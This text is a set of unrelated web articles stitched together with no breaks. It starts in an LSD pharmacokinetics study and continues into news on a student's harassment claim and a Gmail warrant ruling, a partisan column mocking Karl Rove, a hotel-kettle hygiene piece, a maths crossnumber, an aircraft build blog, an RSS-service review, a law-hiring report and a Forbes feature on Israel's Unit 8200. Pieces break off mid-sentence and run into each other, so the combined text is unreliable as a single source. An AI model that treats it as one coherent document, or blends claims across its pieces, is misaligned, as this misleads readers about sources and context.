evidence of acute tolerance (clockwise hysteresis) was observed for any of the dynamic effects of LSD. Discussion The present study determined the single-dose PK of oral LSD in humans. The concentrations of LSD were maximal after 1.5 hours (median) and gradually declined to very low levels by 12 hours. We observed first-order kinetics of LSD up to 12 hours in all subjects and an inconsistent slower decrease in concentrations thereafter in some subjects. This could be attributable to redistribution from tissue or due to less precise quantification of the very low plasma levels of LSD at 12 to 24 hours (ie, close to the lower limit of quantification). The half-life of 3.6 hours during the first 12 hours after drug administration is close to the 3 hours previously observed in a small study that used intravenous LSD administration (Aghajanian and Bing, 1964). Only 1% of the orally administered LSD was eliminated renally. LSD is almost completely metabolized in rats, guinea pigs, and monkeys (Axelrod et al., 1957; Siddik et al., 1979). In humans, the major metabolite of LSD detectable in urine is O-H-LSD (Klette et al., 2000; Poch et al., 2000; Canezin et al., 2001). In the present study, O-H-LSD was detected in blood plasma at very low concentrations and in only one-half of the subjects. The urine concentrations of O-H-LSD in the present study were approximately 10, 15, and 20 times higher than those of LSD at 0 to 8, 8 to 16, and 16 to 24 hours after LSD administration. Similarly, in LSD-positive forensic urine samples, O-H-LSD concentrations are higher than those of LSD, and O-H-LSD can be detected for a longer time than LSD after LSD administration (Reuschel et al., 1999; Klette et al., 2000; Poch et al., 2000). In the present study, 13% of the orally administered LSD was recovered from urine as O-H-LSD within 24 hours. LSD is metabolized to O-H-LSD by cytochrome P450 enzymes, but the specific enzymes and mechanisms are unknown (Klette et al., 2000). To our knowledge, it is unknown whether O-H-LSD is pharmacologically active. The oral bioavailability of LSD can be crudely estimated using the previous data on intravenous LSD administration (Aghajanian and Bing, 1964) and our data on oral LSD. After intravenous LSD administration (2 μg/kg of the free base in 5 male subjects), a mean total plasma exposure (AUC ∞ ) of 31.4 ng∙mL/h was obtained (15.7 ng∙mL/h per μg/kg free base), calculated based on the published plasma concentration profile (Aghajanian and Bing, 1964). After oral LSD administration in the present study (2.5 μg/kg free base in 8 male subjects), the mean AUC ∞ was 28 ng∙mL/h (11.2 ng∙mL/h per μg/kg free base). Based on these data, the oral bioavailability of LSD is approximately 71%. In the present study, LSD was administered after a light meal. When ingested with a “full breakfast,” oral LSD was reported to result in lower plasma concentrations compared with administration on an empty stomach (Upshall and Wailling, 1972). However, these observations were made in only 2 to 3 subjects (Upshall and Wailling, 1972) and would need confirmation. Remaining to be tested is whether food reduces or delays the absorption of oral LSD. Additionally, the PK profiles were similar in male and female subjects. However, the study was too underpowered to statistically exclude sex differences in the PK of LSD. We found a close relationship between the plasma concentrations of LSD and physiologic response or psychotropic effects of LSD over time. Estimated EC 50 values for the psychotropic effects were in the range of 1.0 to 1.3ng/mL (approximately 3–4nM). The unbound fraction of LSD in human plasma is unknown. In cats, the unbound fraction was 0.2, and LSD concentrations in cerebrospinal fluid were similar to free LSD plasma concentrations (Axelrod et al., 1957). Thus, LSD concentrations of 0.6 to 0.8nM could be expected in cerebrospinal fluid. These values are in the range of the binding affinity of LSD at the 5-hydroxytryptamine-2A (5-HT 2A ) receptor (K i = 0.4–1.3nM, respectively) (Titeler et al., 1988; Egan et al., 1998) and also close to the EC 50 for the functional stimulant activity of LSD at the receptor in vitro (EC 50 = 7.2nM) (Egan et al., 1998). Pupil size was also strongly increased at low concentrations of LSD. We previously showed that pupil diameters were significantly larger compared with placebo until the last pupil measurement at 11 hours after LSD administration. In contrast, elevations in blood pressure, heart rate, and body temperature were only significant up to 5 hours after LSD administration compared with placebo, as reported elsewhere (Schmid et al., 2014). Additionally, the increases in heart rate, blood pressure, body temperature, and bad drug effects showed no ceiling effect in the concentration-effect curves, in contrast to the other dynamic effects of LSD. Heart rate, body temperature, blood pressure, and bad drug effects would likely increase further with higher doses of LSD, whereas the pupillary or good subjective effects can be expected to be similar to those seen in the present study. The hypertensive effects of LSD may result from 5-HT 2A and/or α 1 -adrenergic receptor-mediated vasoconstrictive effects at higher doses (Dyer and Gant, 1973; Blessing and Seaman, 2003). No evidence of acute tolerance was observed, which would become apparent as clockwise hysteresis in the concentration-response curve and has been shown for 3,4-methylenedioxymethamphetamine (MDMA) (Hysek et al., 2011). In contrast and as typically expected for most drugs, counterclockwise hysteresis was observed early in time until the end of the assumed drug absorption phase. No similar studies on the PK-pharmacodynamic relationship of LSD have been performed. Only one other small study measured plasma LSD concentrations and concomitant pharmacodynamic effects (Aghajanian and Bing, 1964). LSD was administered intravenously in 5 male subjects. To obtain a crude index of performance, subjects were given one of a series of equivalent tests, consisting of simple addition problems, after each blood sample was drawn (Aghajanian and Bing, 1964). After the distribution phase (30 minutes after intravenous LSD administration), the impairments in performance declined in parallel with the plasma levels of LSD, also suggesting a close temporal relationship between the PK and pharmacodynamics of LSD (Aghajanian and Bing, 1964). In contrast to the single-dose administration in the present study, tolerance to the subjective effects of LSD with repeated daily LSD administration has been reported (Abramson et al., 1956; Belleville et al., 1956). However, a gradual increase in head twitches and catatonic postures and no tolerance was observed up to 3 to 4 days after continuous LSD administration in rats (Ellison et al., 1980). Also in contrast to our findings with LSD, we observed pronounced acute tolerance to the psychotropic and cardiostimulant effects of MDMA using the same methodology (Hysek et al., 2011). As a result, the pharmacodynamic effects of MDMA last significantly shorter than would be expected based on plasma levels. The subjective and cardiostimulant effects of MDMA last only 5 hours despite its long half-life of 10 hours (Hysek et al., 2011). In contrast, the subjective drug effects of LSD lasted for 12 hours in most subjects and up to 16 hours in some subjects in the present study despite LSD’s shorter half-life. Thus, subjects with MDMA in blood may no longer be clinically intoxicated, whereas subjects with quantifiable LSD concentrations in plasma are clinically intoxicated. A mechanistic explanation for this acute tolerance in the case of MDMA is that it mainly produces its acute effects through the release of endogenous serotonin and norepinephrine (ie, as an indirect serotonergic and noradrenergic agonist). In contrast, LSD is thought to produce its psychotropic hallucinogenic effects through a direct interaction with the 5-HT 2A receptor (ie, as a direct serotonergic agonist), resulting in pharmacodynamic effects to which no acute tolerance was observed in our study. In summary, we show first data on the PK and PK-pharmacodynamic relationship of oral LSD in human subjects. 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J Nerv Ment Dis 202 : 513 – 520. Hysek CM Liechti ME 2012 ) Effects of MDMA alone and after pretreatement with reboxetine, duloxetine, clonidine, carvedilol, and doxazosin on pupillary light reflex. Psychopharmacology 224 : 363 – 376. Hysek CM Simmler LD Ineichen M Grouzmann E Hoener MC Brenneisen R Huwyler J Liechti ME 2011 ) The norepinephrine transporter inhibitor reboxetine reduces stimulant effects of MDMA (“ecstasy”) in humans. Clin Pharmacol Ther 90 : 246 – 255. Hysek CM Simmler LD Schillinger N Meyer N Schmid Y Donzelli M Grouzmann E Liechti ME 2014 ) Pharmacokinetic and pharmacodynamic effects of methylphenidate and MDMA administered alone and in combination. Int J Neuropsychopharmacol 17 : 371 – 381. Klette KL Anderson CJ Poch GK Nimrod AC ElSohly MA 2000 ) Metabolism of lysergic acid diethylamide (LSD) to 2-oxo-3-hydroxy LSD (O-H-LSD) in human liver microsomes and cryopreserved human hepatocytes. J Anal Toxicol 24 : 550 – 556. Klette KL Horn CK Stout PR Anderson CJ 2002 ) LC-MS analysis of human urine specimens for 2-oxo-3-hydroxy LSD: method validation for potential interferants and stability study of 2-oxo-3-hydroxy LSD under various storage conditions. J Anal Toxicol 26 : 193 – 200. Kupferschmidt K 2014 ) High hopes. Science 345 : 18 – 23. Martin R Schurenkamp J Gasse A Pfeiffer H Kohler H 2013 ) Determination of psilocin, bufotenine, LSD and its metabolites in serum, plasma and urine by SPE-LC-MS/MS. Int J Legal Med 127 : 593 – 601. Nichols DE 2004 ) Hallucinogens. Pharmacol Ther 101 : 131 – 181. Passie T Halpern JH Stichtenoth DO Emrich HM Hintzen A 2008 ) The pharmacology of lysergic acid diethylamide: a review. CNS Neurosci Ther 14 : 295 – 314. Poch GK Klette KL Anderson C 2000 ) The quantitation of 2-oxo-3-hydroxy lysergic acid diethylamide (O-H-LSD) in human urine specimens, a metabolite of LSD: comparative analysis using liquid chromatography-selected ion monitoring mass spectrometry and liquid chromatography-ion trap mass spectrometry. J Anal Toxicol 24 : 170 – 179. Reuschel SA Eades D Foltz RL 1999 ) Recent advances in chromatographic and mass spectrometric methods for determination of LSD and its metabolites in physiological specimens. J Chromatogr B Biomed Sci Appl 733 : 145 – 159. Schmid Y Enzler F Gasser P Grouzmann E Preller KH Vollenweider FX Brenneisen R Müller F Borgwardt S Liechti ME 2014 ) Acute effects of lysergic acid diethylamide in healthy subjects. Biol Psychiatry doi:. doi:. Siddik ZH Barnes RD Dring LG Smith RL Williams RT 1979 ) The fate of lysergic acid DI[14C]ethylamide ([14C]LSD) in the rat, guinea pig and rhesus monkey and of [14C]iso-LSD in rat. Biochem Pharmacol 28 : 3093 – 3101. Titeler M Lyon RA Glennon RA 1988 ) Radioligand binding evidence implicates the brain 5-HT2 receptor as a site of action for LSD and phenylisopropylamine hallucinogens. Psychopharmacology 94 : 213 – 216. Upshall DG Wailling DG 1972 ) The determination of LSD in human plasma following oral administration. Clin Chim Acta 36 : 67 – 73. © The Author 2015. Published by Oxford University Press on behalf of CINP.Local police departments say they were not involved in the alleged handcuffing of a University student who said she was verbally and physically attacked while crossing the Washington Avenue Bridge in a Facebook post Wednesday. On Facebook and Twitter, the University of Minnesota Police Department and the Minneapolis Police Department said there were no records of the incident Kathy Mirah Tu described in her Facebook post. In the widely-shared post, Tu said she was harassed by a white male on the bridge. "I was stop[ped] in my [tracks] by a white male, who yelled at me to 'Go back to Asia.'... I pretended to not hear anything and continue[d] on walking since I didn't want to create conflict," Tu, who noted she is Asian-American, wrote in the post on her personal Facebook page. "Shortly after that moment, I was stopped by that same man who told me 'Don't you know it's disrespectful to walk away from someone when they are talking to you?" In her post, Tu wrote that the man grabbed her wrist and threatened to fight her, so she punched him in the throat. "His friends who were watching the entire situation go down saw that I was going to the win fight and came over to his rescue and accused me of assaulting him and called the police," she wrote. She said police handcuffed her, checked her criminal history and let her go with a warning. In a tweet Thursday afternoon, UMPD said they did not respond to the incident and asked Tu to contact police. "UMPD was not involved but want to talk to the female who posted this on social media," the tweet said. Minneapolis police also asked anyone with information to come forward. University alumna Sandy Moua circulated a petition in reaction to the alleged incident that garnered 592 signatures as of Sunday evening. It calls for University administrators, Board of Regents and police to condemn hateful actions on campus, suspend faculty and students accused of racism and mandate a buddy system between campus security and students — among other requests. "While we recognize that the University of Minnesota is a complicated system, we know that if you have the power to dismantle General College (Spring 2005), revamp the Multicultural Center for Academic Excellence and raise tuition by 53% since 2004 then you can certainly enact these policies and procedures swiftly," the petition read. Tu's Facebook post had more than 17,000 shares and 30,000 reactions as of Thursday evening. Tu didn’t respond to multiple requests for comment. On Friday morning, Tu’s post became unavailable. Later that morning, Tu’s Facebook account appeared to have been deleted. Tu’s allegation comes amid a wave of similar stories of racially motivated attacks. In one other case, a Muslim college student in Louisiana who claimed she was attacked admitted that the story was fabricated. Chris Aadland contributed to this report. Share(Adds background on debate, comment from privacy expert) By Joseph Ax NEW YORK, July 18 (Reuters) - A federal judge in New York has granted prosecutors access to a Gmail user’s emails as part of a criminal probe, a decision that could fan the debate over how aggressively the government may pursue data if doing so may invade people’s privacy. U.S. Magistrate Judge Gabriel Gorenstein said Friday he had authorized a warrant to be served on Google Inc for the emails of an unnamed individual who is the target of a money laundering investigation. Gorenstein said his decision ran counter to several other judges’ rulings in similar cases that sweeping warrants give the government improper access to too many emails, not just relevant ones. But he said the law lets investigators review broad swaths of documents to decide which are covered by warrants. Google did not respond to a request for comment. The ruling came three months after U.S. Magistrate Judge James Francis in New York said prosecutors can force Microsoft Corp to hand over a customer’s email stored in an Ireland data center. Microsoft has appealed, in what is seen as the first challenge by a company to a warrant seeking data stored overseas. Companies including Verizon Communications Inc, AT&T Inc, Cisco Systems Inc and Apple Inc have filed briefs in support of Microsoft, as has the Electronic Frontier Foundation, an advocacy group. A hearing is set for July 31 before U.S. District Judge Loretta Preska in New York. The government’s ability to seize personal information has grown more contentious since former National Security Agency contractor Edward Snowden leaked secret documents in June 2013 to media outlets outlining the agency’s massive data collection programs. In June, a unanimous U.S. Supreme Court ruled police generally need a warrant to search an arrested suspect’s cellphone, citing privacy concerns. Gorenstein’s ruling joined a public debate playing out among several magistrate judges, who typically handle warrant requests. It is unusual to issue lengthy opinions on such matters particularly when, as in Gorenstein’s case, the judge approves the application. In April, John Facciola, a magistrate in Washington, D.C., rejected a warrant for the Apple email account of a defense contractor as part of a kickback investigation, one of several similar opinions he has authored recently. Last year, a Kansas magistrate denied warrant applications for emails and records at Google, Verizon, Yahoo! Inc, Microsoft unit Skype and GoDaddy in a stolen computer equipment case. Both judges said the warrants were overly broad. On the other hand, several U.S. appeals courts have rejected motions to suppress such searches, Gorenstein said. Hanni Fakhoury, a lawyer with the Electronic Frontier Foundation, applauded Gorenstein for explaining his reasoning in writing, though he said he disagreed with the analysis. “The more voices and opinions we can add to the discussion, the better,” he said in an email. (Reporting by Joseph Ax; Editing by Richard Chang)The most delusional and divisive claim about President Obama's election victory came, not surprisingly, from the disgraced Karl Rove, who told Fox News on Thursday that Obama “succeeded by suppressing the vote." Make no mistake: Rove was talking about the white vote. Earlier that day Real Clear Politics writer Sean Trende had written a piece wondering about "disappearing" white voters, claiming white voter turnout had dropped significantly, by roughly 7 million votes, as whites rejected both parties. Since blacks, Latinos and Asians increased their turnout, as did women and young people, Rove couldn't be talking about anybody but whites, and particularly older white men. A quick reality check: Republican pollster Bill McInturff immediately debunked claims of disappearing voters of any color, reminding analysts that as always two days after a presidential election, many votes remained to be counted. The Thursday after the 2008 contest only 58% of the electorate had "turned out;" turnout climbed a bit above 62 percent when all the votes were tallied. In the end, turnout may be down this year, and it may well be mainly among whites, perhaps because of Hurricane Sandy. But to call that voter "suppression," in the face of genuine voter suppression efforts by Rove's own party – shortening early voting periods, attempts at repressive voter ID laws -- is just another example of the shameless capacity to degrade, project and flat-out lie that is Turd Blossom's singular political brand – a brand that has, God willing, been terminally tarnished. Advertisement: But Rove's wail about "suppressed" white voters reflects his party's broader outrage that the supposed "permanent Republican majority" he tried to build on the back of Kevin Phillips's "emerging Republican majority" of the late 60s – the one that used racial appeals to make whites, especially the white working class, its cornerstone – no longer exists. Whites only made up 72 percent of the 2012 vote, down from 77 percent in 2010, and even Romney's 59 percent of white voters, up from John McCain's 57 percent, couldn't make him president anymore. Republicans will not go gently into that bad night, and thus we are hearing a range of reality-denying reactions, some of them flat out crazy. We've seen Rove's deranged explanation for his party's shellacking by what John Judis and Ruy Teixiera identified a decade ago as "the emerging Democratic majority:" Obama suppressed the white vote, Rove insists, primarily by running a negative campaign against Romney (John Kerry would like a word with you, Boss Rove). Let's walk through a few others: Obama's emerging Democratic majority consists of slackers and moochers who just want things. "People feel that they are entitled to things and which candidate, between the two, is going to give them things?” Bill O'Reilly said during his Tuesday self-pity party. “The white establishment is now the minority….The demographics are changing. It’s not a traditional America anymore.” A majority of Americans, O'Reilly opined, “want stuff. And who is going to give them things? President Obama. He knows it, and he ran on it.” The self-satirizing Ann Coulter declared "It's over. There's no hope if takers outnumber makers," reprising the failed VP nominee Paul Ryan's Ayn Randian depiction of the American divide. Rush Limbaugh declared, "I went to bed last night thinking we're outnumbered. I went to bed last night thinking we've lost the country. I don't know how else you look at this…Conservatism, in my humble opinion, did not lose last night. It's just very difficult to beat Santa Claus," continuing the theme of the Obama coalition going to the polls for handouts. That "the white establishment" built the modern social welfare state (albeit mostly for white people) is lost on O'Reilly, Coulter, Limbaugh and their ilk. That whites make up the vast majority of "takers" is likewise lost on them. But not on uber conservatives like Charles Murray, or the National Review's dyspeptic hater Mark Steyn. "The fact is a lot of pasty, Caucasian, non-immigrant Americans have also shifted,' and are very comfortable with Big Government, entitlements, micro-regulation, Obamacare and all the rest — and not much concerned with how or if it’s paid for," Steyn wrote Wednesday. Advertisement: No doubt a lot of the "pasty" folks Ste
) swoop, ruined every relaxing cup of tea I've ever had in a hotel room. My mind was racing. Who would do this? Why? And is it really as gross as it sounds? I reached out to some experts on the matter to find out if the simple fact the underwear is literally boiling means this actually a safe thing to do, or nah. "Please tell your friend to knock it off! Boil the water and pour it into the sink for washing items. Don't put your dirty underwear into the kettle!" Dr Heather Hendrickson is a Senior Lecturer in Molecular Biosciences at the Institute of Natural and Mathematical Sciences at Massey University in Aukland. She knows what she's talking about. "It is super super super super gross," Dr Hendrickson says. Here's the science of the matter, as explained by Dr Hendrickson. Boiling kills most, but not all microorganisms. For example, some bacteria form spores that are highly resistant to anything other than 120 celsius and high pressure for extended periods of time. The Clostidium botulinum spores ( which causes botulism) are a prime example of this sort of resistance to the environment, Dr Hendrickson says. "These don't cause sickness if they are consumed, but their presence in certain environments can encourage them to produce a toxin that can be deadly." Dr Hendrickson points out that bacterial pathogens in water that has been contaminated in this way will either be killed by boiling, or be brought to a low level that is unlikely to negatively affect health. "However, who knows how long that water, with nutrients that have been introduced and then sterilised, sits around in the kettle before someone else uses it?" Dr Hendrickson says, calling the act "unbelievably irresponsible." Why risk other people's health in any way by doing something like this? "Your friend is unlikely to have a large number of highly heat resistant pathogens in his dirty undergarments but we do not know what he DOES have in there or how sick he might be," Dr Hendrickson horrifying points out. "There are simply too many unknowns and hotel kettle's are not industrial strength cleaning facilities." Look, it should be obvious, but introducing and then removing items from inside the kettle is not a sanitary behaviour, and Dr Hendrickson backs me up on this. "Be respectful of other people and don't do this!" Dr Hendrickson pleads, and I along with her. "I am totally grossed out by your friend!" Me too, Dr Hendrickson. Me too. Gizmodo Australia is gobbling up the news in a different timezone, so check them out if you need another Giz fix. More Health Posts:Win £100 of Maths Gear goodies by solving our famously fiendish crossnumber Click to share on Reddit (Opens in new window) Click to share on Facebook (Opens in new window) Click to share on Twitter (Opens in new window) Privacy & Cookies: This site uses cookies. By continuing to use this website, you agree to their use. To find out more, including how to control cookies, see here: Privacy & Cookies: This site uses cookies. By continuing to use this website, you agree to their use.To find out more, including how to control cookies, see here: Cookie Policy Our original prize crossnumber is featured on pages 52 and 53 of Issue 06. Correction: The pdf was incorrect and 5D did not match the clues below. This has now been fixed. Clarification: Added brackets to 29A and 34D to reduce ambiguity. Rules Although many of the clues have multiple answers, there is only one solution to the completed crossnumber. As usual, no numbers begin with 0. Use of Python, OEIS, Wikipedia, etc. is advised for some of the clues. One randomly selected correct answer will win a £100 Maths Gear goody bag. Three randomly selected runners up will win a Chalkdust t-shirt. The prizes have been provided by Maths Gear, a website that sells nerdy things worldwide, with free UK shipping. Find out more at mathsgear.co.uk Maths Gear goody bag. Three randomly selected runners up will win a Chalkdust t-shirt. The prizes have been provided by Maths Gear, a website that sells nerdy things worldwide, with free UK shipping. Find out more at mathsgear.co.uk To enter, submit the sum of the across clues via this form by 8 January 2018. Only one entry per person will be accepted. Winners will be notified by email and announced on our blog by 22 January 2018. Crossnumber Crossnumber #6, set by Humbug: Clues Across 1. This number is divisible by both the sum and the product of its digits. (2) 3. All the digits of this number are different. (4) 5. The product of 1A and 5D. (3) 6. The difference between 22D and 23D. (5) 11. A prime number. (2) 12. A square number. (2) 13. The maximum number of pieces a cube can be cut into with 36 planar cuts. (4) 15. A factor of 7D. (4) 17. When written in hexadecimal, this number spells a common English word. (4) 18. This number and 19D are a pair of triangle numbers whose sum and difference are also triangle numbers. (2) 20. A palindrome. (5) 23. A multiple of 7 whose digits add to 7. (4) 24. A factor of 33D. (2) 25. The largest number whose square has 12 digits. (6) 29. A factor of ( 12 more than 22D ). (2) 12 more than 22D. (2) 30. A multiple of 26D. (3) 31. The sum of the digits of 29A. (2) 32. The product of 36D and 12A. (3) 33. A Fibonacci number. (2) 37. A palindrome that is a multiple of 1111. (7) 41. An odd number. (2) 42. Each digit of this number is one more than the previous digit. (4) 43. This number and 29D are a pair of triangle numbers whose sum and difference are also triangle numbers. (3) 44. The mean of 45D and 41A. (2) 46. This number and 47A are a pair of triangle numbers whose sum and difference are also triangle numbers. (7) 47. see 46A. (7) DownI managed to sneak in a couple hours of work this afternoon. Tammy was getting Acacia ready to go to “Nanas” house so we could have a date night. So, I figured I would try to get a little work done while she was dropping the baby off. Tonight is pretty much a repeat of last night, except on the right wing. I managed to complete this wing a little faster than last night since I was familiar with what to do. It seems like this will be par for the course on building the wings: Learn from one side, and then you can do the other side a little faster/better. I started out by clecoing all the ribs the right main spar, being sure I transposed the handed-ness of the ribs. Van’s only gives us the left side view of the wings, so they leave it up to the builder to be smart enough to “transpose” the layout for the right side. For example, a W-709-R (RIGHT handed inboard main rib) shown on the plans for the LEFT wing, actually would be a W-709-L (LEFT handed inboard main rib) for the RIGHT wing. Once you look over the plans and see how it goes together, its actually not as hard as it seems (trying to read from a blog post and do the figuring in your head makes it…weird. heh.). Once I had all the ribs cleco’d to the main spar, I clecoed on the rear spar, double checking its orientation. Now, it was time to match drill the main ribs to both the main spar and rear spar. That was simple enough, and didn’t take too much time. The last thing left to do was to cleco on the leading edge ribs, again, double checking the orientation and proper handed-ness and then match drill them as well. VOILA! I have another piece of kit that looks like a wing should look! I still haven’t fully decided on what to do for wiring, but I still have some time. However, I think I may actually move on for now and start building the flaps and ailerons and leading edge skins. Its currently winter time in Tennessee, so my workshop is hovering around 60 degrees, which can making working with ProSeal (for the fuel tanks) and bit challenging. Spring and summer are only a few months away, so I will hold off on my fuel tanks until warmer weather. I am also considering doing the same for the wing stands. I think I would like to build the control surfaces while I have plenty of room in the shop. If I build the wing stands, I will loose a good bit of working area in the shop, so I will ask the experts on Vans Airforce if there are any gotchas to skipping ahead and building the control surfaces ahead of the stand and tanks. At any rate, here is all the photos from todays build session: Google Photos Link: https://photos.app.goo.gl/Bx5tJyDEThlWKNPu1 Hours Worked: 2.5 Share this: Tweet Email PrintI recently picked up an Xbox One console (Gamertag is DanTup) and have been downloading the free Games with Gold titles and picked up a few of the Deals with Gold offers. I looked around for some way of getting notifications of new deals/free games so that I wouldn’t miss anything if I was busy or didn’t play Xbox for a while, but couldn’t find anything. I did, however, discover that Major Nelson posted about every deal/free game (and this month, also the Countdown to 2015 deals). He also has RSS feeds for all marketplace posts or all posts tagged ‘deal’. I did a bit of searching online, and found a couple of free RSS-to-Email services. Some of them looked a bit naff and some wouldn’t let me sign up with a plus symbol in my address (urgh!). I found two that looked reasonable and didn’t have poor email validation but since I didn’t know how reliable they’d be, I decided to sign up for both and see how they went. The two services I signed up with are: Blogtrottr - Free with ads; or paid plans are available. - Free with ads; or paid plans are available. Feedrabbit - Free with no ads, but restricted to 10 RSS feeds and 20 emails/day max; or paid plan available. I was pleasantly surprised that both services have worked perfectly well since I signed up at the start of December, which is around 17 emails so far (they’re currently arriving daily, due to the Countdown to 2015 deals). The emails tend to arrive within an hour of each other; and according to the timestamps; actually arrive before Major Nelson even posts them! (Timezones FTW). As mentioned above; Blogtrottr does include ads; but other than that, there’s actually very little difference in the two emails: Since the emails always arrive together and it’s such little effort to archive them; I’m going to keep both services active (reducing the chances I might miss one if a service disappears overnight). Although you might prefer Feedrabbit’s ad-free emails, it could be argued that Blogtrottr’s ad-sponsored version might be more sustainable. Since both have been completely reliable, I can’t really offer any additional information that might swing your choice one way or the other. If you know of any other services that work well; or have any comments on these two; feel free to post in the comments!Total hiring on Bay Street has fallen sharply yet again. 351 students were hired this year, compared to 379 in 2012, 403 in 2011, and 444 in 2010. This persistent negative trend is exacerbated by rising tuition rates and class sizes at many Ontario law schools. These figures include returning 1L hires, who make up an increasing proportion of Fall Recruitment hires, which masks the extent to which people who participated in this year’s process were unable to obtain an offer. Hiring fell significantly at Osgoode and Ottawa, while UTLaw, Queen’s, and Western held steady. It is unclear what effect UTLaw’s new grading system has had on hiring. We gained five hires from last year’s record low, but a huge proportion of our hires were combined JD/MBA students still on the old grading system. The 2013 Fall Recruitment Special relies on data from two sources: 1) data from the firms about how many students they hired from which schools, and 2) our own internal survey sent to everyone at UTLaw who was eligible to complete the OCI process. Our internal survey had an 85% response rate, making its results very statistically reliable. Nevertheless, there are limits to our data. We don’t have data about how many students from each school actually participate in Toronto recruitment because schools aren’t willing to share this data. If you think it would be helpful, lobby your school’s Career Development Office. This year, we removed the questions rating individual firms because there were not enough responses for any particular firm to make the results statistically valid, and because students found this information only marginally useful. Instead, we focused our questions on the process itself, the stress it produces, and the cavalier violation of the LSUC rules. We’re putting the full set of responses to open-ended questions on our website, so no one can say that we cherry-picked the salacious bits for this issue. For a profession that specializes in rules and systems, the Toronto hiring system is laughably bad. There isn’t enough time to schedule in-firm interviews, and firms demand signals from students who cannot possibly have a basis for preferring one firm over another. Several students commented that New York’s hiring process makes much more sense. Share this: TweetEven in the hallowed annals of teenage hackerdom, this never-before-told story might top them all. In the early 1990s Avishai Abrahami found himself, as required for most Israelis when they graduate from high school, enlisting in the Israel Defense Forces. But Abrahami had been assigned to a division he wasn't allowed to speak of, not even to his parents--a crack cybersecurity and intelligence team known as Unit 8200. He was given an assignment that seemed right out of Mission: Impossible. Break into the computers of a country that remained in a state of hostility with Israel. The task contained several hurdles: First, figure out how to get into those computers; second, how to crack the encryption; and finally, the monumental challenge, how to access the "enormous amount" of computing power necessary to decrypt the data. So here's what Abrahami did once he thought he could breach the targeted computers: He broke into the computers of two other hostile countries and hijacked their processing power to suck out the data held by the first target. A masterwork of spycraft--and a primitive precursor to cloud computing--done without leaving his chair in Tel Aviv. "If we had to do it with a computer researcher," says Abrahami, "it would have taken us a year. It took us a day. I'm trying to think what would have happened if someone had discovered it, what a crisis that would have created." But (until now) no one ever did. Which is consistent with a unit whose existence, until roughly a decade ago, had never even been publicly acknowledged or identified. The public did, however, hear about Abrahami, who's now 45. After leaving Unit 8200, he cofounded Wix, currently one of the world's leading cloud-based Web-development platforms. "Just from my generation, there are more than 100 guys from the unit that I personally knew who built startups and sold them for a lot of money," Abrahami says. "There was a team of ten people in one room in the unit. I call it the magic room, because all of them created companies where the average market cap is a half-billion dollars." Abrahami did his part: Wix's market cap sits at $1 billion. [Are Arab nations hacking back? “They are trying,” says Yossi Melman, one of Israel’s top investigative journalists and national security analysts. “Iran is trying to attack Israeli computers—civilian, military, intelligence—day and night.” See my Q&A with Melman at the end of this article.] Ron Reiter, 31, another 8200 alum, whose startup was just purchased by Oracle for a reported $50 million and who hails from a newer generation, tells a similar story: "There was one person who sold his startup for, like, $300 million to Apple, and another whose company was sold to Cisco for $500 million--and these were both my roommates in Unit 8200." Much has been made of Israel's status as "Startup Nation." Not even the size of New Jersey, with a population smaller than New York City's, Israel is home to more Nasdaq-listed companies than any country except the U.S. and China. On a per capita basis Israel boasts more venture capital, more startups and more scientists and tech professionals than any other country in the world. To understand these dizzying numbers, you need to understand the mysterious Unit 8200. While no one has ever disclosed how large it is, FORBES estimates the unit has, at any given time, 5,000 people assigned to it, all mandated to deploy the latest technology, often in life-or-death situations, with surprisingly little guidance. "There's nobody around to tell you how to do it," Abrahami says. "The culture inside--and it's by design--is that your superiors just tell you to go figure it out. That gives you the huge freedom to think differently. It's you or nobody else. And when you're an entrepreneur, that's the most important skill. When you do 5 or 10 or 20 of those projects, you've just built 3 things that could be a startup." Multiply those three things by thousands of tech geniuses and decades of work, and it's clear why, as FORBES estimates, more than 1,000 companies have been founded by 8200 alumni, from Waze to Check Point to Mirabilis, the parent company of ICQ. Tech giants like to gobble up 8200 firms like hors d'oeuvres. In the last three years alone, Microsoft bought Adallom, a data privacy firm, for a reported $320 million; Facebook bought mobile analytics company Onavo for some $150 million; and PayPal grabbed CyActive, which predicts hacks, for an estimated $60 million. So what's in 8200's special sauce? After speaking with more than two dozen 8200 veterans, we narrowed it down to five things that, taken together, provide a pretty good blueprint for Startup Nation--and a pretty powerful cheat sheet on how to launch a successful tech startup. THE SCREENING Just as the existence of 8200 was barely acknowledged until a decade ago, its history has never been revealed or reported, other than in snippets. Here's our best take: Unit 8200 predates Israel's war of independence in 1948. Starting in the British Mandate period of the 1930s, what was then known as Shin Mem 2 (an acronym of the Hebrew phrase for information service) bugged phone lines of Arab tribes to learn about planned riots. In 1948 it was renamed 515--a random number so that it could be discussed without using words. In 1956, the year of the second war between Israel and its Arab neighbors, the name was changed again, to 848. Unit 8200's turning point came when Israel's did, in 1973, after the Yom Kippur War, when the country, which is surrounded by its enemies, was caught off guard by invasions from Egypt and Syria--the largest intelligence failure in its history. A Unit 848 intelligence officer was taken captive by the Syrians, providing his captors with significant information, says Yossi Melman, a veteran journalist on the intelligence and national security beat. That moment, which led to national soul-searching, resulted in a reboot. The unit would then be known as another random number, 8200. And it would become completely departmentalized, so that various teams in the unit wouldn't know what other teams were doing. Each squad, like a startup, was pretty much on its own. More critically, Israel felt it could no longer risk depending on others--specifically, the American tech industry--to give it access to new technologies. So 8200 became the country's internal R&D hub--the fuel for Startup Nation--with staffing numbers that grew apace and an expanding mission in an Internet-driven world. While Israel's Mossad spy agency is as legendary as 8200 is anonymous, "90% of the intelligence material in Israel is coming from 8200," says Yair Cohen, who served 33 years in 8200--the last five (from 2001-05) as its commander. "There isn't a major operation, from the Mossad or any intelligence security agency, that 8200 is not involved in." When Yasser Arafat claimed he had nothing to do with the hijacking of the Achille Lauro cruise ship in 1985, which resulted in the murder of an American, 8200 provided an intercepted phone conversation that proved otherwise. When Israel bombed a suspected Syrian nuclear reactor in 2007, 8200 provided integral intelligence. The Stuxnet computer worm that destroyed nuclear centrifuges in Iran three years later? A CIA and 8200-driven coding masterpiece. As 8200's importance grew, so did its clout. While IDF service is compulsory for most Israelis at 18, everyone is screened by the IDF as he or she nears high school graduation--and 8200 gets to pick whomever it wants. Sometimes it begins tracking potential recruits when they're younger, using an afterschool program for high school tech prodigies and hackers, called Magshimim, as a feeder. "The Harvard Business School has a great screening process, but it depends on who applies," says Inbal Arieli, 40, who served in 8200 in the late 1990s and by 22 was leading the faculty for the Unit 8200 officer training school. "Unit 8200 can take the top 1% of the 1% of the country." True to its mission, even the recruiting is clandestine. "For the longest time I didn't even know I was being screened," she says. Once the unit identifies 